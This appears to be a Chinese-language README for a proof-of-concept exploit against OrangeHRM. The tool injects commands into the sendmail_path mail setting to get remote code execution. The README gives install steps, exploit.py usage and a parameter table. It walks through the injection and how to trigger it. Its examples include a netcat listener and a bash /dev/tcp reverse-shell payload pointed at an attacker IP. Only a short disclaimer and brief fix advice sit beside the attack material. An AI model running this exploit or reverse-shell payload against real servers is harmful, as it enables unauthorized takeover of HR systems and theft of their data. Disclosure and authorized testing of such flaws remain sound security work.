本概念验证(PoC)演示了 OrangeHRM 中的一个远程代码执行(RCE)漏洞,该漏洞通过 sendmail_path 配置参数中的命令注入实现。
该利用工具的工作原理:
hs_hr_config 表)此工具仅用于教育和授权的安全测试目的。未经授权访问计算机系统是非法的。作者不对因使用此工具造成的任何误用或损害负责。
pip install requests mysql-connector-python
git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt
_orangehrm Cookie 值python3 exploit.py -t <目标URL> -c <COOKIE值> \
-dh <MYSQL主机> -du <MYSQL用户> -dp <MYSQL密码> \
-cmd '<要执行的命令>'
python3 exploit.py -t http://127.0.0.1:8080/ \
-c "g58tak8pbnheseatv6dggvi31i" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd "touch /tmp/pwned"
# 在攻击机启动监听
nc -lvnp 4444
# 使用反弹 Shell 载荷执行利用
python3 exploit.py -t http://target.com/ \
-c "your_session_cookie" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd 'bash -c "bash -i >& /dev/tcp/攻击机IP/4444 0>&1"'
| 参数 | 缩写 | 必需 | 描述 |
|---|---|---|---|
--target | -t | ✅ | 目标 URL(例如 http://target.com) |
--cookie | -c | ✅ | 会话 Cookie 值 |
--cookie_name | -cn | ❌ | Cookie 名称(默认:_orangehrm) |
--command | -cmd | ✅ | 在目标上执行的命令 |
--db_host | -dh | ✅ | MySQL 主机地址 |
--db_user | -du | ✅ | MySQL 用户名 |
--db_pass | -dp | ✅ | MySQL 密码 |
--db_port | -dport | ❌ | MySQL 端口(默认:3306) |
该漏洞存在于邮件配置功能中,其中 sendmail_path 参数存储在数据库中,随后在未经适当清理的情况下被执行。
利用流程:
1. 认证到 OrangeHRM(获取有效会话 Cookie)
↓
2. 连接 MySQL 数据库
↓
3. 定位 hs_hr_config 表
↓
4. 更新 email_config.sendmail_path 值:
从:/usr/sbin/sendmail -bs
改为:/usr/sbin/sendmail -bs && <载荷> #
↓
5. 通过 API 触发执行:
PUT /web/index.php/api/v2/admin/email-configuration
↓
6. 命令在服务器上执行
↓
7. 恢复原始值(清理)
漏洞参数: email_config.sendmail_path
数据库:
hs_hr_configname = 'email_config.sendmail_path'value = sendmail 命令路径触发端点:
PUT /web/index.php/api/v2/admin/email-configuration
sendmail_path 参数实施严格验证PoC 作者: RiccK
团队: Bypassadores && HackersOnSteroids
⚠️ 请负责任地使用。在测试前务必获得适当授权。